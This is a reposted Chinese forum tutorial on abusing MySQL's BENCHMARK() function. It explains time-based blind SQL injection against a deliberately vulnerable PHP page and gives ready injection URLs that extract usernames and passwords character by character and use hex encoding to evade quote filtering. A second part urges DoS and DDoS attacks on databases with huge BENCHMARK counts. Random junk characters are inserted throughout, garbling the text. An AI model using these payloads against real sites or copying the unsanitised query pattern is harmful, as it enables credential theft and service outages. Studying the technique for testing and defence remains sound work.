找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2069|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
9 M; x  @. _, Q. X9 P本文作者:SuperHei
5 Y" p3 q+ h# A2 `  K文章性质:原创
5 R. @$ D0 Y( D7 S, y, ?* \8 y8 A发布日期:2005-01-02) Z3 v; z2 g3 C* M4 G) B0 z
完成日期:2004-07-09 ) H6 ]9 K4 S6 |7 ]
第一部
+ f" {2 \; @$ N3 l/ Q$ O, \; {, p5 l7 O( }! ]$ V$ ?7 T
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ( E1 Z0 g$ q- U& z7 B7 O1 b
* y# O) f7 g5 H8 f$ @/ n# Z4 Y+ E, W5 a
一.前言/思路
8 z! b$ k' d4 j) j8 `! @% q3 |3 ]% s: E+ @( p- p" d+ h& e( }
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。$ d2 o+ E' u5 K# j' u$ D

# t3 r: Y' m! l" _, I% O! x' T8 j  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
; H8 i0 o; ^1 J2 K. p' s7 P6 e" g" g& W
二.关于BENCHMARK函数; ~, X! }+ e4 |* C3 m

7 @" d' i' q0 x2 z6 I! n  在MySQL参考手册里可以看到如下描叙: & J/ ^  R. r) ~$ L9 U
: q8 z; }, N- u
( `8 F: A0 r0 c, q$ `
--------------------------------------------------------------------------------* `$ j6 @2 ^  w+ V$ z

* v5 V. F$ D  I& o3 Y4 TBENCHMARK(count,expr)
. z( }8 e% m! m2 mBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
+ t0 I6 b3 ]1 ~0 u$ Q& B% ~mysql> select BENCHMARK(1000000,encode("hello","goodbye")); - ]" ?. n/ W. h8 r
+----------------------------------------------+
  K: ~# _) h4 t# X/ q| BENCHMARK(1000000,encode("hello","goodbye")) |
  M2 [3 U; |! r8 @2 v/ Q+----------------------------------------------+
, j) V, {6 }- _3 u" \| 0 | 0 j6 h. E- m) f8 Y9 D0 |
+----------------------------------------------+
: V: b/ _% H5 o" C1 row in set (4.74 sec) ; B6 Z/ Q' m9 K" J

: Z- Y0 i) J+ T" W报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
% b3 j1 R; i1 \& L( @# N& k3 N" u6 Y- O2 i5 y# M$ R
1 y& r! p1 P+ d
--------------------------------------------------------------------------------( V: y6 m7 o! ?0 O6 @$ j4 g

' I! p) e5 {7 f4 C  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
4 f2 r; L1 r3 o9 M* K) @1 I( i+ S( A
mysql> select md5( 'test' );
6 J- P* c! b! i2 U+----------------------------------+
1 g) K' V& T$ a/ E| md5( 'test' ) |
; E( B1 `& n0 q# x& }; p/ _+----------------------------------+ ; {$ t  i, A$ g, o3 [7 H0 n
| 098f6bcd4621d373cade4e832627b4f6 | 9 i( y: r" X* q
+----------------------------------+
2 H2 P2 ]- i* g+ F# f, y# s) V1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec % L3 E/ h) g* l) }2 p3 d! o
( I! F4 l5 A' G! R$ s+ v
mysql> select benchmark( 500000, md5( 'test' ) );
7 n5 x; m6 I! W& V$ A/ }- Z+------------------------------------+ ' |2 y) Z7 s3 e# P8 z0 u+ L
| benchmark( 500000, md5( 'test' ) ) |
. v0 L/ _% \9 p2 X" v- e2 k+------------------------------------+
$ Z, J' b2 R5 B3 |! [* x; w! d6 K- m| 0 | 9 m- K* L- K+ z$ q+ t
+------------------------------------+ % k8 R$ K6 V4 S9 L4 Y/ X; U) H
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
& [* X1 X) u7 l7 @/ }, t& \4 m- H $ H6 I- m1 u  M5 m3 b: e* C) h
" i6 l7 _' w! [6 c
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 / I/ \2 @* {7 x6 F* g0 F: l
9 H+ h) `; e4 z/ S+ l
三.具体例子# N& x; @) w: l$ G2 o
' A; ~' V/ q& Q7 _% O
  首先我们看个简单的php代码:
& o* ~. E' |8 d2 E3 D$ E& B$ X# K& H0 z+ p! U
< ?php & n# H# ]. h( t3 m2 x) Y0 K
$servername = "localhost";
9 ]6 z7 ?1 d! ^# v% ^; ^$dbusername = "root"; , }& b4 O, P5 v7 S1 a
$dbpassword = "";
. T! g9 n/ R& }% w8 L$dbname = "injection"; ) ?1 ?( `3 @9 m/ r+ M, f1 O

- }' s% H2 ^: Z( q) rmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
" E9 y2 f7 q% X. O  u0 t$ B$ d: y, K
$sql = "SELECT * FROM article WHERE articleid=$id"; & U8 C$ i- G& L0 P4 X! V, r
$result = mysql_db_query($dbname,$sql); 3 x1 |$ c9 J# z3 E
$row = mysql_fetch_array($result); 0 s1 P7 y1 c6 y8 r  V  {  ?

8 \! N* i3 g& V& g& gif (!$row) ( e3 W4 o. W% ?! M
{
$ y" @3 V" M% _& t2 W) n5 Texit;
9 D( r% i6 z0 Z5 c} 4 L# c$ t" Q( Z& R( }. ^
?>
, v. X4 U3 b$ ` $ M! ?# y" g) M8 w& W% X# o

& Y# b5 H9 Q2 u& c1 ^+ d  数据库injection结构和内容如下:# a# K# ^0 s& C+ I4 v, ^
! O7 B2 u; i) k$ ]
# 数据库 : `injection`
1 w7 l! g4 e* h& r% A/ V6 M#
1 Y! K( i* P, l
0 w" r$ m# Y2 H1 i4 [# --------------------------------------------------------
5 F% A4 ^" h0 O8 d
, y9 ?, c4 j0 k0 m7 {& f' S/ w#
( u6 p8 A+ P, _* p& k8 W6 N+ o7 D/ f# 表的结构 `article` 3 J: P& E1 u3 p3 w8 I
# $ C' T  V) t% A1 V" ]$ m

8 f0 u" X3 S  J2 O5 w3 P& M1 X4 j8 l  q4 ]CREATE TABLE `article` ( " C+ V( E! L6 Q1 ^2 [
`articleid` int(11) NOT NULL auto_increment, 6 H( _/ g5 l/ b# ~0 S2 p4 {
`title` varchar(100) NOT NULL default '',
( U% C2 x+ ^. E/ Z. A8 K+ P4 @`content` text NOT NULL, ; K5 [) M, W% ~; I& ]
PRIMARY KEY (`articleid`)
; l% w) }- d2 z# {2 D) TYPE=MyISAM AUTO_INCREMENT=3 ;
# ^% g6 l6 v& E; b  }, D; P5 E4 _- b( p, s* H7 n' b
#
; W9 b) M7 z9 [* q# 导出表中的数据 `article`
1 v  n8 n$ g# ^/ L' A4 s# ) @# v1 ^# X# V8 M

4 O: M' Q7 G! \! J  N& vINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); $ F7 H7 f4 y! V) @
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); # m* A+ t: `1 U+ E& F

( ~5 R4 e4 x# o2 M* l# --------------------------------------------------------
5 L( e' @! O0 p' L+ e& p
* W& z4 m) D9 o! C. Y7 s1 P( e# : F- G9 t3 g! ^# f% b, q! G4 |
# 表的结构 `user` 5 F" \6 C. b: B5 B# A9 W- y  _
#
, ^# _6 {0 |9 ]( w6 e
# `1 X* b3 G" L0 N1 _: j* lCREATE TABLE `user` (
: T& Z0 w& \  R- x7 ^* f`userid` int(11) NOT NULL auto_increment, % u! Y$ @# O3 `. `. @5 N9 M
`username` varchar(20) NOT NULL default '',
: r2 F) M7 F. ~7 C& u. A`password` varchar(20) NOT NULL default '',
: B, N3 C5 t8 A4 K& r) XPRIMARY KEY (`userid`)
2 z) q1 w1 u5 x/ p) TYPE=MyISAM AUTO_INCREMENT=3 ; ) [* t# Y6 i3 D4 A+ z$ [; {

  {! Z2 H+ U: o# ' F' |# e# a9 J, a& M
# 导出表中的数据 `user`
$ I# @5 m! n+ `! o# 0 c5 a% h  Z) \

, T  ]! d! }# BINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 2 D3 g- ^( d) f
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
1 @* z  v6 \& R0 K# ? $ ^; U; s" |+ ]  `/ Q5 h8 y! V

1 o* J8 A% i' U0 T! p  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:8 o+ D; n  ~& h, ^7 f1 h- m
' Z6 k# s9 m/ e8 E0 b- I
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*6 N6 J9 k4 K( s! @0 p( c- M

" J5 L2 m2 ]% ~; \
$ q% Y0 _5 K3 \4 b; E  P" `  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
: W9 U! P- y* i2 E' Y7 z/ V+ y* |3 m% z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
: A4 \8 e2 m2 v0 I 4 I' n6 n, y/ y& g
4 V0 {3 A/ v3 |$ @3 a/ \, \9 @
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 0 Z* |& y: x; R) D7 Q

+ i6 z5 a& Q4 F3 L8 E  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
2 t9 s4 Y) m" e
4 a" L- H. _) U4 k8 y0 W5 J3 M; c第二部  g3 w% x  K& H
/ J" D6 J* K9 x% A/ l4 i
利用BENCHMARK函数进行ddos攻击
5 u% G  E8 g% T6 h# J  M( _5 T: n1 |6 C" K$ k
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:& N) r$ q/ w, l0 s: Y" `4 Y
! k% N& q/ H, \. [
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))* L5 `# a6 I: ]

: _' S6 W; V5 O! Q- |. J0 X" H/ U* x0 }6 S" r
小结
4 j) P7 D  I4 Y5 W- r9 N9 G0 p$ c6 n/ J) `$ z) U- E7 d2 N
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。- X; S# f( e9 t1 u) _# E* i+ G- o

" D( K0 k/ L$ E5 R" \& o& t  o" G: h$ o  ) \2 b, X, E. o+ ~, A# v9 [: y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表